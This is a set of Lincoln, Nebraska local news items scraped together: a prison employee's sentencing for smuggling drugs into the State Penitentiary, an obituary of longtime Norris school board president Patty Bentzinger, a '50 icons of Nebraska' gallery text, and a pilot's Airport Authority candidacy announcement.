Edgar Gomez, 35, of La Vista, pleaded no contest to possession of methamphetamine, delivery of marijuana and unlawful acts in the Nebraska Department of Correctional Services.

His attorney, Edward Wintroub, said when an inmate initially approached Gomez he was distressed, needed the money and didn't know what to do, so he agreed to do it.

When he was asked to do it again, he threw the package away but the inmate told him there would be consequences if he didn't.

In arguing for probation, Wintroub said Gomez had been manipulated and made bad decisions, but he was concerned for Gomez' safety if he were sentenced to prison, something Gomez echoed when he was given an opportunity to speak.

"I feel like there would be a huge target on my back," Gomez said. "Mentally, I wasn't all there when this happened."

Deputy Lancaster County Attorney Charles Byrd pointed out inconsistencies in Gomez's statements. At one point, he said he'd thrown the package away the first time. He told another investigator he'd brought in contraband successfully twice before and was caught the third time, on Feb. 18, 2022.

Byrd said Gomez's phone records show he was paid $2,500 between Jan. 30, 2022, and Feb. 18.

"He minimizes his role in this and offers excuses instead of taking responsibility for his actions," the prosecutor said.

On Feb. 18, staff at the State Pen found Gomez with a beverage can with a hidden compartment as he entered the prison for work, according to the affidavit for his arrest.

Correctional staff found plastic baggies with 57.2 grams of meth and 65.1 grams of marijuana inside.

Gomez ultimately was arrested and charged.

Lancaster County District Judge Jodi Nelson called the amounts Gomez was caught smuggling astonishing and said for him to suggest he didn't know what he was bringing into the prison was very difficult for her to believe.

"This was a business transaction," she said. "I recognize that it was something that you got into and, quite frankly, I don't doubt that you got in over your head rather quickly. But in the line of work that you were in you also knew that that was one of the consequences of doing this."

Nelson said Gomez had full ability to say no or to stop it and should have considered the consequences of getting caught when he decided to do it.

"You violated a position of trust by engaging in this behavior," she said.

Nelson said she also recognized that Gomez had little criminal history before this but said sometimes that first offense "is a doozy."

And she sentenced Gomez to six to 10 years in prison.

Incarceration rate demographics in Nebraska 2022 Incarceration rate demographics in Nebraska
Patrick Bentzinger came to understand his mother's impact on the Norris school district from an early age.

When he was in middle school in the 1980s roaming the hallways, he noticed his mother Patty Bentzinger's name etched into a plaque, an award honoring her service on the school board. In 1977, Bentzinger became the first woman to serve on the board.

"I remember thinking, 'Oh, my gosh, that's my mom,'" he said. "At a young age, I knew the impact she was having."

Patty Bentzinger, who went on to serve on the board for nearly 29 years over two stints -- including as president since 1997 -- died Jan. 15 at the age of 76. Patrick Bentzinger said his mother, who had won reelection in November, had dealt with health issues following a stroke last year.

"She ended up being a giant of the community," her son said.

During her time on the board, Bentzinger helped oversee the extraordinary growth of the district and its campus between Firth and Hickman, as well as its recovery when a tornado decimated the school in 2004.

Jim Craig, a fellow longtime board member, said Bentzinger was instrumental in helping the district rebuild after the tornado. She served on the board of trustees of ALICAP, an insurance program that assisted Norris with its record $32 million insurance claim after the disaster.

"It was massive. We had to replace a good portion of the whole complex," he said. "Patty was a big driver of that."

Under her board leadership, Norris also passed key bond issues to build a middle school and intermediary building and expand the high school along South 68th Street.

Craig remembered his colleague as a "full-hearted" leader who was "small in stature but mighty in word." She had a passion for students and teachers, as well as Husker sports, especially volleyball, he said.

John Skretta, Norris superintendent from 2010 to 2019, said Bentzinger was a visible member of the Norris community and a "fixture" at school events and activities, including theater performances for which she had a particular interest as an advocate of the arts.

Bentzinger retained her Ward 2 seat by just a handful of votes in November in a hotly contested election that saw, Craig, who had served on the board for more than 30 years, lose his seat.

Even though school board elections have become increasingly partisan in recent years, Bentzinger "didn't have a political bone in her body," Skretta said.

"She truly embraced the notion that service on a school board was about supporting local students and their families, and so she genuinely and compassionately embraced a nonpartisan approach to service," Skretta said. "That's something we could use a lot more of in the public discourse."

Norris will soon send out a call for applicants to fill Bentzinger's seat, said Superintendent Brian Maschmann. The school district will accept applicants until Feb. 6 and then the school board will hold a special meeting to review candidates.

A new member will likely be appointed in March and serve the remainder of Bentzinger's four-year term, Maschmann said.

Bentzinger was a longtime nurse at Bryan Health, said her son Patrick. For a time, she even answered patient calls for a now-defunct "ask-a-nurse" hotline at Lincoln General Hospital.

In addition to her service on the Norris board, Bentzinger served as the Region 1 director on the Nebraska Association of School Boards from 2008 to 2016.

"She's been a pillar of our community for so many years," Maschmann said. "She'll be deeply missed not only at Norris but throughout the state."

Bentzinger, whose funeral service was Friday, is survived by her husband Gary, as well as sons Tim, Darin and Patrick and four grandchildren.

The family wishes for memorials to be given to the Norris Foundation to help support the school district.

50 icons of Nebraska people, history and heritage Vise-Grip These locking pliers, developed by Danish immigrant William Petersen and patented in 1924, took a strong hold on the small town of DeWitt. Petersen began production at his blacksmith shop, but by 1928 the company he founded had more than 600 employees. The metal tools were popular additions to toolboxes because they enabled a craftsman to grab a nut or a bolt and hold onto it, leaving his hands free. In 2002 the company was sold by remaining family members, and it closed its doors in 2008. Vise-Grips, although not made in DeWitt anymore, are still sold in almost every hardware store. Sandhill cranes Although they dont call Nebraska home, these fly-by residents have been regular visitors to the central Platte Valley for centuries. The yearly spring migration of 500,000, 4-foot tall, gray-feathered birds with jaunty red caps, who arrive in March and are usually gone by mid-April, has made an impact in both the birds' numbers and in our response to them. Visitors from around the country come to watch them fly from their roost on the river in the morning and stalk the corn stalks during the day from buses and blinds, and all of that is good for the state. The most recent economic study estimates that crane-related tourism in 2009 generated $8.08 million in direct economic impact by visitors in central Nebraska. And a survey done in 2010 showed that more than 70,000 crane watchers spent an average of 1.3 days in the region (75 percent of those who came to see the cranes were planning on spending at least one night). And in the past 30 years, groups have worked to protect and maintain this river-side environment, with more than 10,000 acres of habitat set aside. State capitol New York architect Bertram Goodhue described his distinctive building as the tower on the Plains, made from Indiana limestone and begun in April 1922. It took 10 years to complete the project at a cost of $9.8 million. The Sower, which stands 19 feet tall on a 12-foot-tall base of corn and wheat shocks, represents the states agricultural background and can be seen for miles. Thousands of Nebraskans came to watch the hulky bronze statue placed on top with a crane when the tower was completed in the third phase of construction. Its interior is as distinctive as the exterior, with floor mosaics depicting a variety of Nebraska motifs, as well as wall murals and the ornate legislative and Supreme Court chambers. Sebesta family trunk Ignac and Marie Sebesta came to the United States around 1910, arriving after a long journey across the ocean with whatever they could pack into their wooden trunk. Like other immigrants, the Sebestas began their American life working for farmers, at first in Milligan, then Tobias. Three Nebraska cities were on the list of the top 10 cities in the country where Czech immigrants settled. For those starting life in a new country with only one piece of luggage, these trunks held only the most essential or the most precious things. And many immigrants could not afford even a wooden trunk for their travels, packing their belongings into a cloth bag. Beyond the obvious items -- clothing or shoes -- the immigrants may have brought seeds, tools or cloth. If there was room, they might have tucked in a silver thimble and needle and thread, and possibly portraits of family and a Bible. Kool-Aid In 1927 Edwin Perkins of Hastings put his chemistry skills to work and came up with the powdered, fruit-flavored drink we call Kool-Aid. It came in six flavors -- strawberry, cherry, lemon-lime, grape, orange and raspberry, and by 1929 the 10-cent packets were being distributed nationwide to grocery stores. During the Great Depression, Perkins slashed the price to 5 cents a package and made it affordable, even for children, who often set up their own stands. Even though he moved the operation to Chicago in 1931 and in 1953 sold it to General Foods, which came up with the familiar smiley-faced pitcher, the Perkins family still calls Hastings home, and a Kool-Aid museum is based there. Dorothy Lynch salad dressing Once you taste this not-quite-French salad dressing made with celery seeds and a hint of both sweet and sour, there is no substitute. From its St. Paul Legion Club origins in the late 1940s, where its namesake (yes, there really was a Dorothy Lynch) served it to veterans on weekends, this dressing became a regional hit. In 1964, Tasty-Toppings Inc. bought the recipe and began producing it in Columbus and later Duncan. Yes, they have tinkered with it a bit, introducing a fat-free version and changing the familiar glass bottle shape. In fact, it is even gluten-free. Luckily, former Nebraskans can buy it in 35 states, and the company even will ship it directly to your house. Grover Cleveland Alexanders cleats Baseball players and writers from Grover Cleveland Alexanders era referred to him as the best pitcher to ever put on a pair of shoes. Its hard to argue. Nicknamed Old Pete, the righty from Elba won 373 games (third all-time) between 1911 and 1930 with the Philadelphia Phillies, Chicago Cubs and St. Louis Cardinals. He pitched the Cards to a World Series championship over Babe Ruth, Lou Gehrig and the rest of the New York Yankees in 1926, winning two games and coming in the seventh inning of the decisive seventh game with the bases loaded, two outs and the Cards clinging to a 3-2 lead. He struck out Tony Lazzeri and then held the Yanks scoreless for two more innings to earn the save. In 1938, he became the first Nebraskan inducted into the National Baseball Hall of Fame. Swanson's TV dinner These were made in Omaha by C.A. Swanson and Sons -- who may or may not have had the idea first -- but the company was the first to get the dinners into thousands of Americas freezers in 1953. The original effort, officially called a TV Brand Frozen Dinner, came in a compartmentalized aluminum tray and included turkey, cornbread stuffing, frozen peas and sweet potatoes, and it was just the right size to fit on a TV tray. If you set your oven at 425 degrees and cooked it for 25 minutes, your 98-cent dinner would be ready. By 1955, the company was selling 25 million units, and a new chapter in cooking had begun. American bison Nebraska is where the buffalo roamed. For centuries the bison was central to the life of Plains Indian tribes. The 2-ton wooly beasts provided food, clothing, shelter and tools during that time. Settlement of that land, beginning in the 1830s, created problems for the bison herds, which were said to number in the millions at one time. Between 1830 and 1880, hunters and fur traders organized bison hunts killing hundreds of bison at a time. As a result, by the 1900s, the American bison was near extinction. Theodore Roosevelt came to its rescue, enacting federal legislation protecting the bison. Wild bison herds are now mostly in national parks, but a small herd can be found on 2,000 acres of the tallgrass prairie on Shoemaker Island in the Platte River. Cowboy boots Albert B. Persinger came to the Nebraska Panhandle in 1876 from Alabama, where he started the Hardscrabble Ranch and raised purebred Hereford cattle near Lodgepole. His leather boots were made by O.H. Hyer of Olathe, Kan. Cowboys like Persinger were in their heyday in Nebraska from the 1870s to 1890s during open-range days. But even in the 1870s, the Nebraska Legislature ruled that counties could invoke a herd law, which would would ban cattle roaming at large. We dont know much about the thousands of cowboys who were working the Nebraska range during that time. Historians describe them as footloose laborers on horseback. But we do know that it wasnt all happy trails -- cowboys worked seven days a week, sunup to sundown for little pay and in all kinds of weather. Lack of pastureland, wire fence and the meatpacking industry adjusting cattle prices all contributed to fewer cowboys riding the range. Bison scapula hoe Found in the Medicine Creek Valley near Stockville, this bison shoulder blade hoe was discovered in 1934 at the remains of a Native earth lodge. Tools like this were used by the people of the Central Plains tradition, which is what archaeologists called the village farmers who lived in hamlets along the rivers and streams in Nebraska from 1000 A.D. to 1400 A.D. By the end of this period, groups had started to grow gourds and corn in small-scale gardens. Intensified cultivation of domesticated crops coincided with an increase in prehistoric Indian populations. Although hunting and fishing continued to be very important, a less-nomadic economy developed. Food surpluses, such as corn, were stored in underground storage pits dug into the floors of earth lodges. Tools like these were the forerunners of plows pulled by oxen and later the giant John Deere equipment that todays farmers use in their fields. Unicameral Legislature gavel Nebraska operated under a bicameral legislature until the early 1930s, when U.S. Sen. George Norris campaigned for reform, saying the two-house system was archaic. In 1934, voters agreed, passing an amendment to make Nebraska the only one-house legislature in the country. The pounding of this gavel began the first unicameral session in 1937, which not only proved to be efficient but inexpensive. The last bicameral session in 1935 with 133 legislators ran 110 days, passed 192 bills and cost $202,593. The first unicameral session two years later with just 43 legislators lasted 92 days, passed 214 bills and cost $103,445. Johnny Carson coffee mug The late, great Johnny Carson chatted up celebrities and sipped from this mug from behind his desk on the set of The Tonight Show With Johnny Carson. Although born in Iowa, Carson called Nebraska home, having grown up in Norfolk and graduating from the University of Nebraska-Lincoln before embarking on his entertainment career. He kept audiences in stitches for 30 years (1962-92) on NBC via his monologues, comedy sketches, interviews and those patented deadpan looks of his. A PBS documentary tabbed Johnny Carson the King of Late Night for his 30-year run as host of NBCs The Tonight Show with Johnny Carson. Jeff Kinneys jersey The Game of the Century that pitted undefeated No. 1-ranked Nebraska against undefeated No. 2-ranked Oklahoma at Owen Field in Norman, Okla., produced a plethora of memorable plays -- particularly Johnny Rodgers 72-yard first-quarter punt return. But the most memorable object was the No. 35 jersey worn by Husker tailback Jeff Kinney. Kinney carried the ball 31 times during the game, rushing for 171 yards and four touchdowns. The tear-away jersey began to rip apart in the first half and was in tatters during his final four rushes. Those carries capped a 12-play, 74-yard drive that saw Kinney follow a block from fullback Maury Damkroger (46) and plunge into the end zone to give Nebraska the clinching touchdown in the greatest game in college football history. Final score: Nebraska 35, Oklahoma 31. In the Year 2525 45 rpm record The biggest hit to come out of Nebraska, Zager and Evans In the Year 2525 (Exordium and Terminus) spent six weeks at the top of the Billboard charts in 1969. It was the most popular song in the country when Neil Armstrong and Buzz Aldrin became the first men to walk on the moon and during the Woodstock Music Festival. Zager and Evans was a four-piece Lincoln group that was fronted by singer/guitarists Denny Zager and Rick Evans and included drummer Dave Trupp and bassist Mark Dalton. Written by Evans and recorded for $500 in an Odessa, Texas, studio, the folk-rock tune that portends the end of the human race because of technological innovations was initially released on Truth Records, a local label. After becoming a regional hit, it was picked up by RCA. Dismissed by critics, In the Year 2525 sold more than 4 million copies by 1970 and now has topped the 10 million mark. Corn Standing tall and at attention, row after row, acre after acre, corn stalks guard the Great Plains. Native tribes in Nebraska planted corn long before the settlers arrived and had great success with it. Nebraska pioneers found the crop well suited to the states variable climate with its whipping winds, drought and harsh winters. These bountiful battalions are Nebraskas agricultural front line and keepers of the kernels  Nebraskas gold. An ear of corn averages 800 kernels in 16 rows, and those kernels add up. In 2013, the USDA estimate was 1.61 billion bushels, based on 169 bushels per acre. Livestock feeding consumes nearly one-third of the states corn harvest. It takes 55 bushels of corn to feed a steer to market weight and 15 bushels to raise a pig. Spread throughout much of the state, more than 20 ethanol plants have a capacity of nearly 20 billion gallons -- making Nebraska the second-largest ethanol-producing state in the country. Combined, these plants use more than 700 million bushels of corn per year. And since 1901, Cornhuskers has been a nickname for the University of Nebraska football team, when Lincoln Journal sportswriter Cy Sherman coined the phrase in his sports copy. Although it was shortened to Huskers, fans with cornheads are regulars at Nebraska sports events. Sod house With a lack of trees or stone on the prairie, homesteaders looked to the land for building materials. Sod, made from thickly rooted prairie grass cut in 2- by 1-foot chunks, was piled like bricks to make walls for the soddy. A simple sod house could be built in about a week for a cost of less than $5. The thick walls provided insulation against the summer temperatures, strong winds and winter cold, but leaky roofs were a problem, and the dirt floors needed to be watered down regularly, making it quite damp. One Fillmore County pioneer in 1873 described the process in letters to his wife: All we have to do is plow up some sod (which will hang together for a half mile without breaking), cut in lengths to suit and lay up a wall & cover it and you have a house. To one who never seen one of our houses built of Nebraska brick, it would seem as though they were a dirty house, but they are warmer & cleaner than our hosier log cabins ever were. Keith Jacobshagen painting Keith Jacobshagen moved to Lincoln to teach at the University of Nebraska in 1968. Now one of the most acclaimed artists in the state, Jacobshagen is the preeminent painter of the Great Plains. Jacobshagen developed his connections with the flatland and big sky flying with his test pilot father while growing up in Wichita, Kan. Those flights led Jacobshagen to develop his unique perspective: painting as if he is standing yards above the ground, a view that lowers and lengthens the horizon. Jacobshagens landscapes found an audience in the 1970s and can now be found in museums and prominent private and corporate collections. He is represented by several galleries around the country, including Kiechel Fine Art in Lincoln. William Jennings Bryan campaign memorabilia William Jennings Bryan was a Nebraska politician who ran for president of the United States as the Democratic Party candidate three times -- in 1896, 1900 and 1908 -- never winning, but bringing the national political debate closer to home. Born in 1860 in Illinois, he came to Lincoln in 1887, where he was elected to the House of Representatives in 1890. Known for his oratory skills, Bryan traveled across the country campaigning on Populist issues and issues of the common man. Woodrow Wilson appointed Bryan secretary of state in 1913, during which time he worked to negotiate treaties before World War I broke out. Bryan left Nebraska during that time, moving to Florida, where he lived until his death in 1925. Charles Starkweathers rifles In January 1958, Lincoln garbageman Charles Starkweather killed 10 people on a murder spree that terrified Nebraskans and grabbed national attention. The first spree killer of the television era, Starkweather and his teenage girlfriend, Caril Ann Fugate, became the subjects of intense media scrutiny and public interest after they were captured in Wyoming, where they had fled after the killings, nine of which took place in and around Lincoln. Starkweather was executed for the murders in 1959. Fugate served 17 years in prison and was released in 1976. The story of Starkweather and Fugate continues to reverberate through popular culture. Bruce Springsteen wrote a song from Starkweathers viewpoint, titled an album Nebraska" and continues to perform those songs in his concerts. An ABC-TV miniseries, Murder in the Heartland," was based on the killing spree, and at least six feature films, including Terrence Malicks classic Badlands and Oliver Stones controversial Natural Born Killers, were inspired by the story. Whiteclay empty bottle Alcohol sales in Whiteclay have dropped during the past four years (2010 to 2013), but 336,217 gallons of alcohol were consumed in the Pine Ridge Reservation border town. It remains a jarring statistic in a state that ranks high in many alcohol-related surveys. Nebraska ranks eighth nationally in beer consumption per capita, averaging 35.2 gallons per person over 21, according to 2012 figures from the Beer Institute, which represents the beer industry. And the state ranked 15th in craft breweries per capita in 2012, according to the Brewers Association. Not all the stats shine a good light on Nebraska. Four cities made the Centers for Disease Controls 2010 report of the top 20 binge drinking U.S. cities -- Grand Island (19.4 percent of residents surveyed), Omaha (19.5 percent) Norfolk (20.2 percent) and Lincoln (22.7 percent). And that list of metropolitan and micropolitan cities doesnt include Whiteclay, where beverages like this one are sold by the millions. Sugarbeet workers The raising of sugar beets in Nebraska began as an experiment in Hall County in the 1880s. The land took to it, and then, for decades, migrants took to the land. Germans from Russia, Mexican immigrant families and others worked the land for five long months a year, with sugar companies hiring people based on the knowledge that their children would join them in the fields, as a 2005 Great Plains Quarterly article by Mary Lyons-Barret detailed. Eastern Nebraskas beets were considered too low in sugar, and plants closed in Norfolk in 1905 and Ames in 1906. They thrived in Scottsbluff and Bayard, though, and Great Western Sugar Company and American Sugar Company covered train fare for migrant workers to come there, only to offer many of them old rail cars, empty chicken coops or tents to live in, Lyons-Barret wrote. Investigations into child labor conditions in the sugarbeet industry would directly influence federal child labor laws in the 1930s. Kawasaki KZ400 motorcycle The first shiny KZ400 that rolled off the production line in January of 1975 was presented to then-Gov. Jim Exon by Yoji Hamawaki, president of the United States division of Kawasaki Motors. It was the beginning of an almost 40-year manufacturing alliance between the plant and the Capital City. Over the years the plant has evolved as it followed market trends. First motorcycles, then Jet Skis and later all-terrain vehicles and industrial robots, were made there. In 2000, the company invested $50 million in the plant as it accepted a contract to build light rail cars destined for the East Coast. The plant employs about 1,700 people with the consumer products side that produces personal watercraft and all-terrain vehicles and rail car production. There havent been any motorcycles off the line since 2007 when production of the motorbikes moved back to Japan. But the Japanese/Nebraska industrial alliance is going strong. Carhenge Dedicated on the summer solstice of 1987 by Jim Reinders and about 35 friends and family who didnt question his sanity and helped him build it, the collection of 38 gray painted cars has at least one thing going for it that its inspiration, Stonehenge, doesnt -- we know why it exists. Reinders built it as a tribute to his late father, according to Kevin Howard, director of the Alliance Visitors Bureau. "It took 1,600 years for them to complete Stonehenge, and we did it in six days," Reinders said on a documentary about the site, which still draws thousands of visitors a year. The humongous roadside attraction thats not near a major roadside (its about 80 miles north of Interstate 80) got a new owner last year -- the city of Alliance. Archie, the imperial mammoth Archie is short for Archidiskidon imperator maibeni, and he is one of the star attractions in Elephant Hall at the University of Nebraska State Museum of Natural History. The fossil, which roamed the Plains about 30,000 years ago, is one of the biggest and most complete in the country. It measures 25 feet, 7 inches from its long tusks to its tail and weighed about 15 tons. A bronze statue of Archie stands in front of the museum. Archie and his prehistoric pals were all over Nebraska, and mammoth fossils have been found in every county in the state. They werent the only prehistoric relics that Nebraska has produced. At Ashfall Fossil Beds near Royal are fossils from more than 12 million years ago of elephants, camels and rhinos that grazed on the Great Plains. Brides quilt Martha Allis was born in Bellevue in 1840, daughter of missionaries Samuel and Emeline Allis. When she was set to marry her beloved, William George Hollin, on July 4, 1861, she made a Wreath of Roses pattern quilt to commemorate the event. Believed to be the oldest quilt made by a native Nebraskan, the quilt of red-and-green nine-rose wreaths surrounded by vines made of cotton was typical of other quilts that would be made over the decades by Nebraska women. Originally pieced by hand, and later by machine, the quilts told women's stories in fabric and became beautifully crafted blankets that would keep families warm on cold nights on the prairie. Lincoln Highway marker The 2,436 road markers, 220-pound hulks of rebar and concrete, were placed alongside the country-spanning Lincoln Highway about 15 years after Henry B. Joy first asked for driving directions west of Omaha in 1913. Joy, president of the Packard Motor Car Company and the first president of the Lincoln Highway Association, didnt have much to go on. Joy was on a cross-country tour from Detroit to the Pacific to promote better roadways, which, in turn, would promote the growing auto industry. The local Packard dealer told him to drive until he came to a fence, and then another fence, and another. When Joy ran out of fences, he followed two ruts across the prairie, according to a 1985 Smithsonian article. The winding path taking drivers through Omaha, Elkhorn, Fremont and along the Platte River System to Wyoming became part of the privately funded New York-to-San Francisco Lincoln Highway. When it was decreed that the majority of the pivotal road would be renamed U.S. 30, the Lincoln Highway Association in 1928 arranged for Boy Scouts to place road markers like this one bearing the letter L and a bronze medallion depicting Abraham Lincoln across the countryside. Explosives from ordnance plants Smack in the middle of the country, Nebraska was deemed the perfect noncoastal site for bomb making in 1942 when World War II loomed, because it was easily reachable by trains in either direction. At one time there were four plants across the state in Mead, Hastings, Sidney and Grand Island. Mostly women were on the production line and were known as WOWs or Women Ordnance Workers. In Grand Island there were three shifts and more than 4,200 workers at the war's peak manufacturing bombs up to 2,000 pounds. Although work stopped after the war ended, it began again during the Korean War and in Grand Island during the Vietnam War. Buffalo coat from Buffalo Soldiers Given the nickname by Native Americans likely because of their curly hair and buffalo coats worn in the winters, 10 units of the all-black U.S. Army cavalry served at Fort Robinson between 1885 and 1898. "Lt. John Alexander, the second African-American graduate of West Point, and Henry Plummer, the first black chaplain in the regular Army, served here," reads the historical marker at Fort Robinson State Park in Dawes County. "So did 10 Buffalo Soldier Medal of Honor men." Standing Bears headdress He stood before a federal judge in Omaha in 1879 and testified that, after being forced from Ponca land, watching a third of his tribe die and being arrested following his return to the Niobrara to bury his teenage sons bones, that he no longer felt like a chief, but rather a poor person. The U.S. attorneys position was that Standing Bear, because he was an Indian, was not a person of any sort under federal law. Judge Elmer Dundy sided with Standing Bear, a landmark decision in the continuing struggle for Indian rights. Ted Koosers notebook Ted Kooser, two-term U.S. poet laureate, helped secure Nebraskas spot on the literary map when his book Delights and Shadows (Copper Canyon Press) won the Pulitzer Prize for poetry in 2005. From his home in rural Garland, Kooser takes pen in hand each morning before dawn and chronicles the nuances of everyday life, from screeching owls to small-town diners. Born in 1939 in Iowa, Kooser spent most of his 9-to-5 life as a life insurance executive, but he was writing poetry during that time, too. He is a Presidential Professor at the University of Nebraska teaching the writing of poetry and essays. His poetry even has been set to music. Winter Morning Walks won three Grammy awards for composer Maria Schneider and soprano Dawn Upshaw, who adapted the poems from his collection of the same name for an album. J. Sterling Mortons walking stick Although many think of J. Sterling Morton as Nebraskas Johnny Appleseed because of his advocacy for tree planting, including heirloom apple trees, his legacy is much more than that. Born in New York and raised in Detroit, he came to Nebraska in 1854 and staked a claim in Nebraska City. Editor of the Nebraska City News, Morton became politically active and also well respected for his agricultural achievements -- he was the secretary of agriculture for President Grover Cleveland. Like many men of the time, Morton carried a brass-topped walking stick, and his was inscribed with a Latin verse, which translates to If you seek a monument, look around. Mortons monument -- in addition to Arbor Day, the state holiday encouraging tree planting -- can be seen in the many trees growing across the state. SAC red phone "Well, we all felt that this was in the cards, that unless we were good -- if we slipped, if we were not capable of doing our job, that the Russians would eventually move in and take over, Lt. Gen. James Edmundson, a former director of operations at the facility now known as Stratcom, told a PBS film crew when asked about the reality of a nuclear attack. From bomber pilots flying 24-hour-long training missions to the installation of this red telephone that fortunately never rang, the command center at Offutt Air Force Base prepared as if the unthinkable could happen at any moment at the height of the Cold War. It was a tough life, said Edmundson, who died in the summer of 2001, months before Stratcoms focus would dramatically shift. Transcontinental Railroad Building west from Omaha after President Abraham Lincoln approved legislation to build a railroad across the frontier, the Union Pacific railroad laid the first tracks of the Transcontinental Railroad on July 10, 1865. Thousands of workers swung hammers and laid rail ties for four years, and on May 10, 1869, the track was complete in Promontory, Utah. Cities sprang up across the Plains like those following the ABC Burlington railroad. From Crete westward, towns about eight miles apart were named in alphabetical order -- Crete, Dorchester, Exeter, Fairmont, Grafton, Hastings, Inland, Juniata, Kenesaw and Lowell. The Platte River railroad corridor is still chugging along, with Union Pacific, headquartered in Omaha, and BNSF Railway, the Berkshire Hathaway-owned company. Only two states, Texas and Illinois, have more railroad employees than Nebraska. Willa Cathers William Dean Howells Medal Although Willa Cather was not a native Nebraskan -- born in 1873 in Virginia -- we claim the famous author as ours, because many of her novels revolve around her hometown of Red Cloud and the Great Plains. Winning the Pulitzer Prize for One of Ours in 1923 and gaining recognition for O Pioneers! and My Antonia, Cather gained national literary attention with her descriptive prose that captured the spirit of the states early inhabitants. Then, in 1930, Cather received the William Dean Howells Medal for her book Death Comes for the Archbishop. Before she wrote novels, she wrote reviews for the Lincoln Journal newspaper as a student at the University of Nebraska. Cather moved to Pittsburgh, then New York, shortly after graduating from the University of Nebraska, but she returned to Red Cloud several times before her death in 1947. Kregel windmill One thing Nebraska has plenty of is wind, and George F. Kregel found a way to use it. In 1879 Kregel developed a water-pumping windmill that would harness that wind and help pioneer farmers survive on the prairie. At first, the Nebraska City manufacturing company installed the windmills and water supply equipment and helped farmers maintain and repair them. During the 20th century, the company focused mostly on water well maintenance and the pump repair business. Even though they have not been mass produced since the early 1940s, Kregel Windmill Company Eli-brand windmills are still found in service pumping life-giving water for both humans and livestock. The factory remains intact -- exactly as it was after it closed in 1989 -- and has been reopened as the Kregel Windmill Factory Museum. Homestead certificate Four miles west of Beatrice, the Homestead National Monument is the site of Daniel Freemans claim under the Homestead Act of 1862. He is said to have filed it 10 minutes after midnight at the Land Office in Brownville on Jan. 1, 1863, making him one of the first to take advantage of Abraham Lincolns legislation. All homesteaders had to be at least 21 years old, got 160 acres of land and had five years to prove up by living on the land, building a home and farming for five years. Total filing fee: $18. Freeman and his wife, Agnes, did just that and raised eight children there. About 270 million acres were claimed across the nation under this act. Runza sandwich Germans from Russia brought the runza sandwich to Nebraska. A bread pocket filled with meat, cabbage, onions and seasonings goes by different names and comes in different shapes. But only in Nebraska did it give rise to a chain of fast-food restaurants. Ingredients now may vary, but the taste  whether homemade or restaurant-bought  is uniquely Nebraskan. Chimney Rock Standing almost 300 feet above the surround North Platte River Valley, Chimney Rock in western Nebraska bade farewell from the state as Pioneers headed west on the Oregon, California and Mormon trails. Its image has adorned licenses plates and Nebraskas state quarter. Its made of layers of clay, volcanic ash and sandstone. Warren Buffett One of the richest men in world, the Oracle of Omaha is known for his down-to-earth style, common-sense financial philosophy and his philanthropy. As chairman, CEO and largest shareholder of Berkshire Hathaway, Buffett is considered by many to be the most successful investor of the 20th century, but hes known equally for his personal frugality. CliffsNotes Before the Internet and Wikipedia, the distinctive yellow-and-black covers of CliffsNotes adorned the bookshelves of many a college and high school student. The series of study guides (which are not to be used as a substitute for reading the actual text, OK?) was launched in Lincoln by Cliff Hillegass and his wife Catherine. From the original 16 Shakespeare titles, CliffsNotes has grown to include hundreds of works and has saved many a student. Giant porch swing Hebron is home to what was and may still be the worlds largest porch swing. Built from a giant crop irrigator pole, the swing seats between 18 and 24 depending on bun width. It sits in Roosevelt Park downtown, not on an actual front porch. Reportedly a larger porch swing may have been built in 2012 in Canada, but Hebrons still seems pretty big. Henry Doorly Zoo and Aquarium Earlier this year, Omahas Henry Doorly Zoo and Aquarium was named by TripAdvisor the worlds best zoo. Marking its 120th year this year, the zoo is home to the Desert Dome, built in 2002, which is both the worlds largest indoor desert and the largest glazed geodesic dome. And the indoor Leid Jungle has been fogging up eyeglasses on cold winter days for 22 years. Oregon Trail The 2,200-mile Oregon Trail connected the Missouri River to fertile valleys in, you guessed it, Oregon. Following along the Oregon Trail through Nebraska were the California, Mormon and Bozeman trails, which separated from each other after leaving the western edge of Nebraska. Between the 1830s and the 1870s, around 400,000 pioneers used the trail across Nebraska. College World Series Since 1950 Omaha has hosted the College World Series, where eight teams square off in a double elimination tournament to decide the NCAA Division I baseball champion. Through 2010, games were held at Rosenblatt Stadium. Beginning in 2011, the series moved to TD Ameritrade Park Omaha. The NCAA has signed a contract that will keep the tournament in Omaha through at least 2035. Arbor Day J. Sterling Morton moved to Nebraska from Detroit, Mich., in 1854. Along with his family and furniture, he brought a love to trees, which he felt were sorely needed in his new home territory (Nebraska became a state in 1867), so using the newspaper he owned as a pulpit, he campaigned for the establishment of Arbor Day, a holiday set aside for the planting of trees. On April 10, 1872, more than one million trees were planted in connection with the first Arbor Day. The holiday later expanded nationwide and globally. Yellow school buses Its hard to believe something as ubiquitous as the yellow school bus has its origins in Nebraska, but Franklin-born educator Frank W. Cyr in the 1930s led a group that standardized many features of the nations school buses, most prominently their yellow-orange color, which was found to be the most visible at sunrise and late afternoon. Cyr, who eventually left Nebraska, is known as the father of the yellow school bus. Beef Nebraska has the top three beef cattle counties in the United States, according to the UNL Beef Team, in Cherry, Custer and Holt counties. Cattle flourish on Nebraskas grasslands, and the state flourishes, to the tune of $12.1 billion, which is the estimated impact of the beef industry on the state. And this year Nebraska overtook Texas as the top beef-producing state in the U.S. Ogallala Aquifer Nebraska is home to Americas largest underground lake, or aquifer, which stretches north to South Dakota and south to northern Texas. But in Nebraska the aquifer involves the largest geographic area and is in places more than 1,000 feet deep. It supplies the vast majority of drinking water in Nebraska and provides agriculture with the water needed for irrigation. North Platte Canteen
A pilot and small-business owner is the second person to announce a candidacy for the Lincoln Airport Authority.

Chris Stokes, who is a commercial airline pilot and a retired Air Force pilot, said one of his main goals is improving commercial air service in Lincoln.

I am running because Lincoln needs a business and aviation professional with 28 years of airline industry experience to turn the tides and attract major airlines back to Lincoln, Stokes said in a news release.

Stokes, who is 53 and has lived in Lincoln for the past 35 years, is a pilot for United Airlines. He also spent 34 years flying for the Air Force Reserve, attaining the rank of colonel.

He also has owned several small businesses, including OMALink, the airport shuttle company he founded and ran for more than a decade before selling it in 2013.

In addition to attracting more commercial air service at the airport, Stokes, who is a registered Republican, said that if elected, he would work to attract a major air cargo company, expand military use of the airport and open up additional hangar space for general aviation users.

When cities like Lincoln have strong aviation presences, our communities become prospects for new business opportunities, homes for major organizations and prosperous with new jobs and economic opportunities for working families, he said in the news release.

Stokes earned a bachelors degree from the University of NebraskaLincoln and a masters degree in leadership studies from Bellevue University.

He joins Nathan Janulewicz, a Democrat, as announced candidates for two open seats on the Airport Authority for the city election this spring. Both incumbents, Zachary Mora James and Richard Nuernberger, have said they do not plan to run for reelection.

